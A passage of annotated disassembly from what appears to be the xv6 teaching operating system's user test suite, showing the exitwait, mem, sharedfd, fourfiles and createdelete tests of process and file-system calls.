d02: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
d09: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000d10 <exitwait>:
{
d10: 55 push %ebp
d11: 89 e5 mov %esp,%ebp
d13: 56 push %esi
d14: be 64 00 00 00 mov $0x64,%esi
d19: 53 push %ebx
d1a: eb 14 jmp d30 <exitwait+0x20>
d1c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(pid){
d20: 74 68 je d8a <exitwait+0x7a>
if(wait() != pid){
d22: e8 a2 2b 00 00 call 38c9 <wait>
d27: 39 d8 cmp %ebx,%eax
d29: 75 2d jne d58 <exitwait+0x48>
for(i = 0; i < 100; i++){
d2b: 83 ee 01 sub $0x1,%esi
d2e: 74 41 je d71 <exitwait+0x61>
pid = fork();
d30: e8 84 2b 00 00 call 38b9 <fork>
d35: 89 c3 mov %eax,%ebx
if(pid < 0){
d37: 85 c0 test %eax,%eax
d39: 79 e5 jns d20 <exitwait+0x10>
printf(1, "fork failed\n");
d3b: 83 ec 08 sub $0x8,%esp
d3e: 68 19 4d 00 00 push $0x4d19
d43: 6a 01 push $0x1
d45: e8 26 2d 00 00 call 3a70 <printf>
return;
d4a: 83 c4 10 add $0x10,%esp
}
d4d: 8d 65 f8 lea -0x8(%ebp),%esp
d50: 5b pop %ebx
d51: 5e pop %esi
d52: 5d pop %ebp
d53: c3 ret
d54: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
printf(1, "wait wrong pid\n");
d58: 83 ec 08 sub $0x8,%esp
d5b: 68 bb 41 00 00 push $0x41bb
d60: 6a 01 push $0x1
d62: e8 09 2d 00 00 call 3a70 <printf>
return;
d67: 83 c4 10 add $0x10,%esp
}
d6a: 8d 65 f8 lea -0x8(%ebp),%esp
d6d: 5b pop %ebx
d6e: 5e pop %esi
d6f: 5d pop %ebp
d70: c3 ret
printf(1, "exitwait ok\n");
d71: 83 ec 08 sub $0x8,%esp
d74: 68 cb 41 00 00 push $0x41cb
d79: 6a 01 push $0x1
d7b: e8 f0 2c 00 00 call 3a70 <printf>
d80: 83 c4 10 add $0x10,%esp
}
d83: 8d 65 f8 lea -0x8(%ebp),%esp
d86: 5b pop %ebx
d87: 5e pop %esi
d88: 5d pop %ebp
d89: c3 ret
exit();
d8a: e8 32 2b 00 00 call 38c1 <exit>
d8f: 90 nop
00000d90 <mem>:
{
d90: 55 push %ebp
d91: 89 e5 mov %esp,%ebp
d93: 57 push %edi
d94: 56 push %esi
d95: 53 push %ebx
d96: 31 db xor %ebx,%ebx
d98: 83 ec 14 sub $0x14,%esp
printf(1, "mem test\n");
d9b: 68 d8 41 00 00 push $0x41d8
da0: 6a 01 push $0x1
da2: e8 c9 2c 00 00 call 3a70 <printf>
ppid = getpid();
da7: e8 95 2b 00 00 call 3941 <getpid>
dac: 89 c6 mov %eax,%esi
if((pid = fork()) == 0){
dae: e8 06 2b 00 00 call 38b9 <fork>
db3: 83 c4 10 add $0x10,%esp
db6: 85 c0 test %eax,%eax
db8: 74 0a je dc4 <mem+0x34>
dba: e9 89 00 00 00 jmp e48 <mem+0xb8>
dbf: 90 nop
*(char**)m2 = m1;
dc0: 89 18 mov %ebx,(%eax)
dc2: 89 c3 mov %eax,%ebx
while((m2 = malloc(10001)) != 0){
dc4: 83 ec 0c sub $0xc,%esp
dc7: 68 11 27 00 00 push $0x2711
dcc: e8 ff 2e 00 00 call 3cd0 <malloc>
dd1: 83 c4 10 add $0x10,%esp
dd4: 85 c0 test %eax,%eax
dd6: 75 e8 jne dc0 <mem+0x30>
while(m1){
dd8: 85 db test %ebx,%ebx
dda: 74 18 je df4 <mem+0x64>
ddc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
free(m1);
de0: 83 ec 0c sub $0xc,%esp
m2 = *(char**)m1;
de3: 8b 3b mov (%ebx),%edi
free(m1);
de5: 53 push %ebx
de6: 89 fb mov %edi,%ebx
de8: e8 53 2e 00 00 call 3c40 <free>
while(m1){
ded: 83 c4 10 add $0x10,%esp
df0: 85 db test %ebx,%ebx
df2: 75 ec jne de0 <mem+0x50>
m1 = malloc(1024*20);
df4: 83 ec 0c sub $0xc,%esp
df7: 68 00 50 00 00 push $0x5000
dfc: e8 cf 2e 00 00 call 3cd0 <malloc>
if(m1 == 0){
e01: 83 c4 10 add $0x10,%esp
e04: 85 c0 test %eax,%eax
e06: 74 20 je e28 <mem+0x98>
free(m1);
e08: 83 ec 0c sub $0xc,%esp
e0b: 50 push %eax
e0c: e8 2f 2e 00 00 call 3c40 <free>
printf(1, "mem ok\n");
e11: 58 pop %eax
e12: 5a pop %edx
e13: 68 fc 41 00 00 push $0x41fc
e18: 6a 01 push $0x1
e1a: e8 51 2c 00 00 call 3a70 <printf>
exit();
e1f: e8 9d 2a 00 00 call 38c1 <exit>
e24: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
printf(1, "couldn't allocate mem?!!\n");
e28: 83 ec 08 sub $0x8,%esp
e2b: 68 e2 41 00 00 push $0x41e2
e30: 6a 01 push $0x1
e32: e8 39 2c 00 00 call 3a70 <printf>
kill(ppid);
e37: 89 34 24 mov %esi,(%esp)
e3a: e8 b2 2a 00 00 call 38f1 <kill>
exit();
e3f: e8 7d 2a 00 00 call 38c1 <exit>
e44: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
}
e48: 8d 65 f4 lea -0xc(%ebp),%esp
e4b: 5b pop %ebx
e4c: 5e pop %esi
e4d: 5f pop %edi
e4e: 5d pop %ebp
wait();
e4f: e9 75 2a 00 00 jmp 38c9 <wait>
e54: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
e5a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000e60 <sharedfd>:
{
e60: 55 push %ebp
e61: 89 e5 mov %esp,%ebp
e63: 57 push %edi
e64: 56 push %esi
e65: 53 push %ebx
e66: 83 ec 34 sub $0x34,%esp
printf(1, "sharedfd test\n");
e69: 68 04 42 00 00 push $0x4204
e6e: 6a 01 push $0x1
e70: e8 fb 2b 00 00 call 3a70 <printf>
unlink("sharedfd");
e75: c7 04 24 13 42 00 00 movl $0x4213,(%esp)
e7c: e8 90 2a 00 00 call 3911 <unlink>
fd = open("sharedfd", O_CREATE|O_RDWR);
e81: 5b pop %ebx
e82: 5e pop %esi
e83: 68 02 02 00 00 push $0x202
e88: 68 13 42 00 00 push $0x4213
e8d: e8 6f 2a 00 00 call 3901 <open>
if(fd < 0){
e92: 83 c4 10 add $0x10,%esp
e95: 85 c0 test %eax,%eax
e97: 0f 88 2a 01 00 00 js fc7 <sharedfd+0x167>
e9d: 89 c7 mov %eax,%edi
memset(buf, pid==0?'c':'p', sizeof(buf));
e9f: 8d 75 de lea -0x22(%ebp),%esi
ea2: bb e8 03 00 00 mov $0x3e8,%ebx
pid = fork();
ea7: e8 0d 2a 00 00 call 38b9 <fork>
memset(buf, pid==0?'c':'p', sizeof(buf));
eac: 83 f8 01 cmp $0x1,%eax
pid = fork();
eaf: 89 45 d4 mov %eax,-0x2c(%ebp)
memset(buf, pid==0?'c':'p', sizeof(buf));
eb2: 19 c0 sbb %eax,%eax
eb4: 83 ec 04 sub $0x4,%esp
eb7: 83 e0 f3 and $0xfffffff3,%eax
eba: 6a 0a push $0xa
ebc: 83 c0 70 add $0x70,%eax
ebf: 50 push %eax
ec0: 56 push %esi
ec1: e8 5a 28 00 00 call 3720 <memset>
ec6: 83 c4 10 add $0x10,%esp
ec9: eb 0a jmp ed5 <sharedfd+0x75>
ecb: 90 nop
ecc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(i = 0; i < 1000; i++){
ed0: 83 eb 01 sub $0x1,%ebx
ed3: 74 26 je efb <sharedfd+0x9b>
if(write(fd, buf, sizeof(buf)) != sizeof(buf)){
ed5: 83 ec 04 sub $0x4,%esp
ed8: 6a 0a push $0xa
eda: 56 push %esi
edb: 57 push %edi
edc: e8 00 2a 00 00 call 38e1 <write>
ee1: 83 c4 10 add $0x10,%esp
ee4: 83 f8 0a cmp $0xa,%eax
ee7: 74 e7 je ed0 <sharedfd+0x70>
printf(1, "fstests: write sharedfd failed\n");
ee9: 83 ec 08 sub $0x8,%esp
eec: 68 04 4f 00 00 push $0x4f04
ef1: 6a 01 push $0x1
ef3: e8 78 2b 00 00 call 3a70 <printf>
break;
ef8: 83 c4 10 add $0x10,%esp
if(pid == 0)
efb: 8b 4d d4 mov -0x2c(%ebp),%ecx
efe: 85 c9 test %ecx,%ecx
f00: 0f 84 f5 00 00 00 je ffb <sharedfd+0x19b>
wait();
f06: e8 be 29 00 00 call 38c9 <wait>
close(fd);
f0b: 83 ec 0c sub $0xc,%esp
nc = np = 0;
f0e: 31 db xor %ebx,%ebx
close(fd);
f10: 57 push %edi
f11: 8d 7d e8 lea -0x18(%ebp),%edi
f14: e8 d0 29 00 00 call 38e9 <close>
fd = open("sharedfd", 0);
f19: 58 pop %eax
f1a: 5a pop %edx
f1b: 6a 00 push $0x0
f1d: 68 13 42 00 00 push $0x4213
f22: e8 da 29 00 00 call 3901 <open>
if(fd < 0){
f27: 83 c4 10 add $0x10,%esp
nc = np = 0;
f2a: 31 d2 xor %edx,%edx
fd = open("sharedfd", 0);
f2c: 89 45 d0 mov %eax,-0x30(%ebp)
if(fd < 0){
f2f: 85 c0 test %eax,%eax
f31: 0f 88 aa 00 00 00 js fe1 <sharedfd+0x181>
f37: 89 f6 mov %esi,%esi
f39: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
while((n = read(fd, buf, sizeof(buf))) > 0){
f40: 83 ec 04 sub $0x4,%esp
f43: 89 55 d4 mov %edx,-0x2c(%ebp)
f46: 6a 0a push $0xa
f48: 56 push %esi
f49: ff 75 d0 pushl -0x30(%ebp)
f4c: e8 88 29 00 00 call 38d9 <read>
f51: 83 c4 10 add $0x10,%esp
f54: 85 c0 test %eax,%eax
f56: 7e 28 jle f80 <sharedfd+0x120>
f58: 89 f0 mov %esi,%eax
f5a: 8b 55 d4 mov -0x2c(%ebp),%edx
f5d: eb 13 jmp f72 <sharedfd+0x112>
f5f: 90 nop
np++;
f60: 80 f9 70 cmp $0x70,%cl
f63: 0f 94 c1 sete %cl
f66: 0f b6 c9 movzbl %cl,%ecx
f69: 01 cb add %ecx,%ebx
f6b: 83 c0 01 add $0x1,%eax
for(i = 0; i < sizeof(buf); i++){
f6e: 39 f8 cmp %edi,%eax
f70: 74 ce je f40 <sharedfd+0xe0>
if(buf[i] == 'c')
f72: 0f b6 08 movzbl (%eax),%ecx
f75: 80 f9 63 cmp $0x63,%cl
f78: 75 e6 jne f60 <sharedfd+0x100>
nc++;
f7a: 83 c2 01 add $0x1,%edx
if(buf[i] == 'p')
f7d: eb ec jmp f6b <sharedfd+0x10b>
f7f: 90 nop
close(fd);
f80: 83 ec 0c sub $0xc,%esp
f83: ff 75 d0 pushl -0x30(%ebp)
f86: e8 5e 29 00 00 call 38e9 <close>
unlink("sharedfd");
f8b: c7 04 24 13 42 00 00 movl $0x4213,(%esp)
f92: e8 7a 29 00 00 call 3911 <unlink>
if(nc == 10000 && np == 10000){
f97: 8b 55 d4 mov -0x2c(%ebp),%edx
f9a: 83 c4 10 add $0x10,%esp
f9d: 81 fa 10 27 00 00 cmp $0x2710,%edx
fa3: 75 5b jne 1000 <sharedfd+0x1a0>
fa5: 81 fb 10 27 00 00 cmp $0x2710,%ebx
fab: 75 53 jne 1000 <sharedfd+0x1a0>
printf(1, "sharedfd ok\n");
fad: 83 ec 08 sub $0x8,%esp
fb0: 68 1c 42 00 00 push $0x421c
fb5: 6a 01 push $0x1
fb7: e8 b4 2a 00 00 call 3a70 <printf>
fbc: 83 c4 10 add $0x10,%esp
}
fbf: 8d 65 f4 lea -0xc(%ebp),%esp
fc2: 5b pop %ebx
fc3: 5e pop %esi
fc4: 5f pop %edi
fc5: 5d pop %ebp
fc6: c3 ret
printf(1, "fstests: cannot open sharedfd for writing");
fc7: 83 ec 08 sub $0x8,%esp
fca: 68 d8 4e 00 00 push $0x4ed8
fcf: 6a 01 push $0x1
fd1: e8 9a 2a 00 00 call 3a70 <printf>
return;
fd6: 83 c4 10 add $0x10,%esp
}
fd9: 8d 65 f4 lea -0xc(%ebp),%esp
fdc: 5b pop %ebx
fdd: 5e pop %esi
fde: 5f pop %edi
fdf: 5d pop %ebp
fe0: c3 ret
printf(1, "fstests: cannot open sharedfd for reading\n");
fe1: 83 ec 08 sub $0x8,%esp
fe4: 68 24 4f 00 00 push $0x4f24
fe9: 6a 01 push $0x1
feb: e8 80 2a 00 00 call 3a70 <printf>
return;
ff0: 83 c4 10 add $0x10,%esp
}
ff3: 8d 65 f4 lea -0xc(%ebp),%esp
ff6: 5b pop %ebx
ff7: 5e pop %esi
ff8: 5f pop %edi
ff9: 5d pop %ebp
ffa: c3 ret
exit();
ffb: e8 c1 28 00 00 call 38c1 <exit>
printf(1, "sharedfd oops %d %d\n", nc, np);
1000: 53 push %ebx
1001: 52 push %edx
1002: 68 29 42 00 00 push $0x4229
1007: 6a 01 push $0x1
1009: e8 62 2a 00 00 call 3a70 <printf>
exit();
100e: e8 ae 28 00 00 call 38c1 <exit>
1013: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
1019: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00001020 <fourfiles>:
{
1020: 55 push %ebp
1021: 89 e5 mov %esp,%ebp
1023: 57 push %edi
1024: 56 push %esi
printf(1, "fourfiles test\n");
1025: be 3e 42 00 00 mov $0x423e,%esi
{
102a: 53 push %ebx
for(pi = 0; pi < 4; pi++){
102b: 31 db xor %ebx,%ebx
{
102d: 83 ec 34 sub $0x34,%esp
char *names[] = { "f0", "f1", "f2", "f3" };
1030: c7 45 d8 3e 42 00 00 movl $0x423e,-0x28(%ebp)
printf(1, "fourfiles test\n");
1037: 68 44 42 00 00 push $0x4244
103c: 6a 01 push $0x1
char *names[] = { "f0", "f1", "f2", "f3" };
103e: c7 45 dc 87 43 00 00 movl $0x4387,-0x24(%ebp)
1045: c7 45 e0 8b 43 00 00 movl $0x438b,-0x20(%ebp)
104c: c7 45 e4 41 42 00 00 movl $0x4241,-0x1c(%ebp)
printf(1, "fourfiles test\n");
1053: e8 18 2a 00 00 call 3a70 <printf>
1058: 83 c4 10 add $0x10,%esp
unlink(fname);
105b: 83 ec 0c sub $0xc,%esp
105e: 56 push %esi
105f: e8 ad 28 00 00 call 3911 <unlink>
pid = fork();
1064: e8 50 28 00 00 call 38b9 <fork>
if(pid < 0){
1069: 83 c4 10 add $0x10,%esp
106c: 85 c0 test %eax,%eax
106e: 0f 88 6c 01 00 00 js 11e0 <fourfiles+0x1c0>
if(pid == 0){
1074: 0f 84 ef 00 00 00 je 1169 <fourfiles+0x149>
for(pi = 0; pi < 4; pi++){
107a: 83 c3 01 add $0x1,%ebx
107d: 83 fb 04 cmp $0x4,%ebx
1080: 74 06 je 1088 <fourfiles+0x68>
1082: 8b 74 9d d8 mov -0x28(%ebp,%ebx,4),%esi
1086: eb d3 jmp 105b <fourfiles+0x3b>
wait();
1088: e8 3c 28 00 00 call 38c9 <wait>
for(i = 0; i < 2; i++){
108d: 31 ff xor %edi,%edi
wait();
108f: e8 35 28 00 00 call 38c9 <wait>
1094: e8 30 28 00 00 call 38c9 <wait>
1099: e8 2b 28 00 00 call 38c9 <wait>
109e: c7 45 d0 3e 42 00 00 movl $0x423e,-0x30(%ebp)
fd = open(fname, 0);
10a5: 83 ec 08 sub $0x8,%esp
total = 0;
10a8: 31 db xor %ebx,%ebx
fd = open(fname, 0);
10aa: 6a 00 push $0x0
10ac: ff 75 d0 pushl -0x30(%ebp)
10af: e8 4d 28 00 00 call 3901 <open>
while((n = read(fd, buf, sizeof(buf))) > 0){
10b4: 83 c4 10 add $0x10,%esp
fd = open(fname, 0);
10b7: 89 45 d4 mov %eax,-0x2c(%ebp)
total = 0;
10ba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
while((n = read(fd, buf, sizeof(buf))) > 0){
10c0: 83 ec 04 sub $0x4,%esp
10c3: 68 00 20 00 00 push $0x2000
10c8: 68 60 86 00 00 push $0x8660
10cd: ff 75 d4 pushl -0x2c(%ebp)
10d0: e8 04 28 00 00 call 38d9 <read>
10d5: 83 c4 10 add $0x10,%esp
10d8: 85 c0 test %eax,%eax
10da: 7e 22 jle 10fe <fourfiles+0xde>
for(j = 0; j < n; j++){
10dc: 31 d2 xor %edx,%edx
10de: 66 90 xchg %ax,%ax
if(buf[j] != '0'+i){
10e0: 83 ff 01 cmp $0x1,%edi
10e3: 0f be b2 60 86 00 00 movsbl 0x8660(%edx),%esi
10ea: 19 c9 sbb %ecx,%ecx
10ec: 83 c1 31 add $0x31,%ecx
10ef: 39 ce cmp %ecx,%esi
10f1: 75 62 jne 1155 <fourfiles+0x135>
for(j = 0; j < n; j++){
10f3: 83 c2 01 add $0x1,%edx
10f6: 39 d0 cmp %edx,%eax
10f8: 75 e6 jne 10e0 <fourfiles+0xc0>
total += n;
10fa: 01 c3 add %eax,%ebx
10fc: eb c2 jmp 10c0 <fourfiles+0xa0>
close(fd);
10fe: 83 ec 0c sub $0xc,%esp
1101: ff 75 d4 pushl -0x2c(%ebp)
1104: e8 e0 27 00 00 call 38e9 <close>
if(total != 12*500){
1109: 83 c4 10 add $0x10,%esp
110c: 81 fb 70 17 00 00 cmp $0x1770,%ebx
1112: 0f 85 dc 00 00 00 jne 11f4 <fourfiles+0x1d4>
unlink(fname);
1118: 83 ec 0c sub $0xc,%esp
111b: ff 75 d0 pushl -0x30(%ebp)
111e: e8 ee 27 00 00 call 3911 <unlink>
for(i = 0; i < 2; i++){
1123: 83 c4 10 add $0x10,%esp
1126: 83 ff 01 cmp $0x1,%edi
1129: 75 1a jne 1145 <fourfiles+0x125>
printf(1, "fourfiles ok\n");
112b: 83 ec 08 sub $0x8,%esp
112e: 68 82 42 00 00 push $0x4282
1133: 6a 01 push $0x1
1135: e8 36 29 00 00 call 3a70 <printf>
}
113a: 83 c4 10 add $0x10,%esp
113d: 8d 65 f4 lea -0xc(%ebp),%esp
1140: 5b pop %ebx
1141: 5e pop %esi
1142: 5f pop %edi
1143: 5d pop %ebp
1144: c3 ret
1145: 8b 45 dc mov -0x24(%ebp),%eax
1148: bf 01 00 00 00 mov $0x1,%edi
114d: 89 45 d0 mov %eax,-0x30(%ebp)
1150: e9 50 ff ff ff jmp 10a5 <fourfiles+0x85>
printf(1, "wrong char\n");
1155: 83 ec 08 sub $0x8,%esp
1158: 68 65 42 00 00 push $0x4265
115d: 6a 01 push $0x1
115f: e8 0c 29 00 00 call 3a70 <printf>
exit();
1164: e8 58 27 00 00 call 38c1 <exit>
fd = open(fname, O_CREATE | O_RDWR);
1169: 83 ec 08 sub $0x8,%esp
116c: 68 02 02 00 00 push $0x202
1171: 56 push %esi
1172: e8 8a 27 00 00 call 3901 <open>
if(fd < 0){
1177: 83 c4 10 add $0x10,%esp
fd = open(fname, O_CREATE | O_RDWR);
117a: 89 c6 mov %eax,%esi
if(fd < 0){
117c: 85 c0 test %eax,%eax
117e: 78 45 js 11c5 <fourfiles+0x1a5>
memset(buf, '0'+pi, 512);
1180: 83 ec 04 sub $0x4,%esp
1183: 83 c3 30 add $0x30,%ebx
1186: 68 00 02 00 00 push $0x200
118b: 53 push %ebx
118c: bb 0c 00 00 00 mov $0xc,%ebx
1191: 68 60 86 00 00 push $0x8660
1196: e8 85 25 00 00 call 3720 <memset>
119b: 83 c4 10 add $0x10,%esp
if((n = write(fd, buf, 500)) != 500){
119e: 83 ec 04 sub $0x4,%esp
11a1: 68 f4 01 00 00 push $0x1f4
11a6: 68 60 86 00 00 push $0x8660
11ab: 56 push %esi
11ac: e8 30 27 00 00 call 38e1 <write>
11b1: 83 c4 10 add $0x10,%esp
11b4: 3d f4 01 00 00 cmp $0x1f4,%eax
11b9: 75 4c jne 1207 <fourfiles+0x1e7>
for(i = 0; i < 12; i++){
11bb: 83 eb 01 sub $0x1,%ebx
11be: 75 de jne 119e <fourfiles+0x17e>
exit();
11c0: e8 fc 26 00 00 call 38c1 <exit>
printf(1, "create failed\n");
11c5: 51 push %ecx
11c6: 51 push %ecx
11c7: 68 df 44 00 00 push $0x44df
11cc: 6a 01 push $0x1
11ce: e8 9d 28 00 00 call 3a70 <printf>
exit();
11d3: e8 e9 26 00 00 call 38c1 <exit>
11d8: 90 nop
11d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
printf(1, "fork failed\n");
11e0: 83 ec 08 sub $0x8,%esp
11e3: 68 19 4d 00 00 push $0x4d19
11e8: 6a 01 push $0x1
11ea: e8 81 28 00 00 call 3a70 <printf>
exit();
11ef: e8 cd 26 00 00 call 38c1 <exit>
printf(1, "wrong length %d\n", total);
11f4: 50 push %eax
11f5: 53 push %ebx
11f6: 68 71 42 00 00 push $0x4271
11fb: 6a 01 push $0x1
11fd: e8 6e 28 00 00 call 3a70 <printf>
exit();
1202: e8 ba 26 00 00 call 38c1 <exit>
printf(1, "write failed %d\n", n);
1207: 52 push %edx
1208: 50 push %eax
1209: 68 54 42 00 00 push $0x4254
120e: 6a 01 push $0x1
1210: e8 5b 28 00 00 call 3a70 <printf>
exit();
1215: e8 a7 26 00 00 call 38c1 <exit>
121a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
00001220 <createdelete>:
{
1220: 55 push %ebp
1221: 89 e5 mov %esp,%ebp
1223: 57 push %edi
1224: 56 push %esi
1225: 53 push %ebx
for(pi = 0; pi < 4; pi++){
1226: 31 db xor %ebx,%ebx
{
1228: 83 ec 44 sub $0x44,%esp
printf(1, "createdelete test\n");
122b: 68 90 42 00 00 push $0x4290
1230: 6a 01 push $0x1
1232: e8 39 28 00 00 call 3a70 <printf>
1237: 83 c4 10 add $0x10,%esp
pid = fork();
123a: e8 7a 26 00 00 call 38b9 <fork>
if(pid < 0){
123f: 85 c0 test %eax,%eax
1241: 0f 88 bf 01 00 00 js 1406 <createdelete+0x1e6>
if(pid == 0){
1247: 0f 84 0b 01 00 00 je 1358 <createdelete+0x138>
for(pi = 0; pi < 4; pi++){
124d: 83 c3 01 add $0x1,%ebx
1250: 83 fb 04 cmp $0x4,%ebx
1253: 75 e5 jne 123a <createdelete+0x1a>
wait();
1255: e8 6f 26 00 00 call 38c9 <wait>
name[0] = name[1] = name[2] = 0;
125a: be ff ff ff ff mov $0xffffffff,%esi
125f: 8d 7d c8 lea -0x38(%ebp),%edi
wait();
1262: e8 62 26 00 00 call 38c9 <wait>
1267: e8 5d 26 00 00 call 38c9 <wait>
126c: e8 58 26 00 00 call 38c9 <wait>
name[0] = name[1] = name[2] = 0;
1271: c6 45 ca 00 movb $0x0,-0x36(%ebp)
1275: 8d 76 00 lea 0x0(%esi),%esi
for(i = 0; i < N; i++){
1278: 8d 46 31 lea 0x31(%esi),%eax
127b: 88 45 c7 mov %al,-0x39(%ebp)
127e: 8d 46 01 lea 0x1(%esi),%eax
1281: 83 f8 09 cmp $0x9,%eax
1284: 89 45 c0 mov %eax,-0x40(%ebp)
1287: 0f 9f c3 setg %bl
128a: 85 c0 test %eax,%eax
128c: 0f 94 c0 sete %al
128f: 09 c3 or %eax,%ebx
1291: 88 5d c6 mov %bl,-0x3a(%ebp)
name[2] = '\0';
1294: bb 70 00 00 00 mov $0x70,%ebx
fd = open(name, 0);
1299: 83 ec 08 sub $0x8,%esp
name[1] = '0' + i;
129c: 0f b6 45 c7 movzbl -0x39(%ebp),%eax
name[0] = 'p' + pi;
12a0: 88 5d c8 mov %bl,-0x38(%ebp)
fd = open(name, 0);
12a3: 6a 00 push $0x0
12a5: 57 push %edi
name[1] = '0' + i;
12a6: 88 45 c9 mov %al,-0x37(%ebp)
fd = open(name, 0);
12a9: e8 53 26 00 00 call 3901 <open>
if((i == 0 || i >= N/2) && fd < 0){
12ae: 83 c4 10 add $0x10,%esp
12b1: 80 7d c6 00 cmpb $0x0,-0x3a(%ebp)
12b5: 0f 84 85 00 00 00 je 1340 <createdelete+0x120>
12bb: 85 c0 test %eax,%eax
12bd: 0f 88 1a 01 00 00 js 13dd <createdelete+0x1bd>
} else if((i >= 1 && i < N/2) && fd >= 0){
12c3: 83 fe 08 cmp $0x8,%esi
12c6: 0f 86 56 01 00 00 jbe 1422 <createdelete+0x202>
close(fd);
12cc: 83 ec 0c sub $0xc,%esp
12cf: 50 push %eax
12d0: e8 14 26 00 00 call 38e9 <close>
12d5: 83 c4 10 add $0x10,%esp
12d8: 83 c3 01 add $0x1,%ebx
for(pi = 0; pi < 4; pi++){
12db: 80 fb 74 cmp $0x74,%bl
12de: 75 b9 jne 1299 <createdelete+0x79>
12e0: 8b 75 c0 mov -0x40(%ebp),%esi
for(i = 0; i < N; i++){
12e3: 83 fe 13 cmp $0x13,%esi
12e6: 75 90 jne 1278 <createdelete+0x58>
12e8: be 70 00 00 00 mov $0x70,%esi
12ed: 8d 76 00 lea 0x0(%esi),%esi
12f0: 8d 46 c0 lea -0x40(%esi),%eax
name[0] = name[1] = name[2] = 0;
12f3: bb 04 00 00 00 mov $0x4,%ebx
12f8: 88 45 c7 mov %al,-0x39(%ebp)
unlink(name);
12fb: 83 ec 0c sub $0xc,%esp
name[0] = 'p' + i;
12fe: 89 f0 mov %esi,%eax
unlink(name);
1300: 57 push %edi
name[0] = 'p' + i;
1301: 88 45 c8 mov %al,-0x38(%ebp)
name[1] = '0' + i;
1304: 0f b6 45 c7 movzbl -0x39(%ebp),%eax
1308: 88 45 c9 mov %al,-0x37(%ebp)
unlink(name);
130b: e8 01 26 00 00 call 3911 <unlink>
for(pi = 0; pi < 4; pi++){
1310: 83 c4 10 add $0x10,%esp
1313: 83 eb 01 sub $0x1,%ebx
1316: 75 e3 jne 12fb <createdelete+0xdb>
1318: 83 c6 01 add $0x1,%esi
for(i = 0; i < N; i++){
131b: 89 f0 mov %esi,%eax
131d: 3c 84 cmp $0x84,%al
131f: 75 cf jne 12f0 <createdelete+0xd0>
printf(1, "createdelete ok\n");
1321: 83 ec 08 sub $0x8,%esp
1324: 68 a3 42 00 00 push $0x42a3
1329: 6a 01 push $0x1
132b: e8 40 27 00 00 call 3a70 <printf>
}
1330: 8d 65 f4 lea -0xc(%ebp),%esp
1333: 5b pop %ebx
1334: 5e pop %esi
1335: 5f pop %edi
1336: 5d pop %ebp
1337: c3 ret
1338: 90 nop
1339: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
} else if((i >= 1 && i < N/2) && fd >= 0){
1340: 83 fe 08 cmp $0x8,%esi
1343: 0f 86 d1 00 00 00 jbe 141a <createdelete+0x1fa>
if(fd >= 0)
1349: 85 c0 test %eax,%eax
134b: 78 8b js 12d8 <createdelete+0xb8>
134d: e9 7a ff ff ff jmp 12cc <createdelete+0xac>
1352: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
name[0] = 'p' + pi;
1358: 83 c3 70 add $0x70,%ebx
name[2] = '\0';
135b: c6 45 ca 00 movb $0x0,-0x36(%ebp)
135f: 8d 7d c8 lea -0x38(%ebp),%edi
name[0] = 'p' + pi;
1362: 88 5d c8 mov %bl,-0x38(%ebp)
name[2] = '\0';
1365: 31 db xor %ebx,%ebx
1367: eb 0f jmp 1378 <createdelete+0x158>
1369: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
for(i = 0; i < N; i++){
1370: 83 fb 13 cmp $0x13,%ebx
1373: 74 63 je 13d8 <createdelete+0x1b8>
1375: 83 c3 01 add $0x1,%ebx
fd = open(name, O_CREATE | O_RDWR);
1378: 83 ec 08 sub $0x8,%esp
name[1] = '0' + i;
137b: 8d 43 30 lea 0x30(%ebx),%eax
fd = open(name, O_CREATE | O_RDWR);
137e: 68 02 02 00 00 push $0x202
1383: 57 push %edi
name[1] = '0' + i;
1384: 88 45 c9 mov %al,-0x37(%ebp)
fd = open(name, O_CREATE | O_RDWR);
1387: e8 75 25 00 00 call 3901 <open>
if(fd < 0){
138c: 83 c4 10 add $0x10,%esp
138f: 85 c0 test %eax,%eax
1391: 78 5f js 13f2 <createdelete+0x1d2>
close(fd);
1393: 83 ec 0c sub $0xc,%esp
1396: 50 push %eax
1397: e8 4d 25 00 00 call 38e9 <close>
if(i > 0 && (i % 2 ) == 0){
139c: 83 c4 10 add $0x10,%esp
139f: 85 db test %ebx,%ebx
13a1: 74 d2 je 1375 <createdelete+0x155>
13a3: f6 c3 01 test $0x1,%bl
13a6: 75 c8 jne 1370 <createdelete+0x150>
if(unlink(name) < 0){
13a8: 83 ec 0c sub $0xc,%esp
name[1] = '0' + (i / 2);
13ab: 89 d8 mov %ebx,%eax
if(unlink(name) < 0){
13ad: 57 push %edi
name[1] = '0' + (i / 2);
13ae: d1 f8 sar %eax
13b0: 83 c0 30 add $0x30,%eax
13b3: 88 45 c9 mov %al,-0x37(%ebp)
if(unlink(name) < 0){
13b6: e8 56 25 00 00 call 3911 <unlink>
13bb: 83 c4 10 add $0x10,%esp
13be: 85 c0 test %eax,%eax
13c0: 79 ae jns 1370 <createdelete+0x150>
printf(1, "unlink failed\n");
13c2: 52 push %edx
13c3: 52 push %edx
13c4: 68 91 3e 00 00 push $0x3e91
13c9: 6a 01 push $0x1
13cb: e8 a0 26 00 00 call 3a70 <printf>
exit();
13d0: e8 ec 24 00 00 call 38c1 <exit>
13d5: 8d 76 00 lea 0x0(%esi),%esi
exit();
13d8: e8 e4 24 00 00 call 38c1 <exit>
printf(1, "oops createdelete %s didn't exist\n", name);
13dd: 83 ec 04 sub $0x4,%esp
13e0: 57 push %edi
13e1: 68 50 4f 00 00 push $0x4f50
13e6: 6a 01 push $0x1
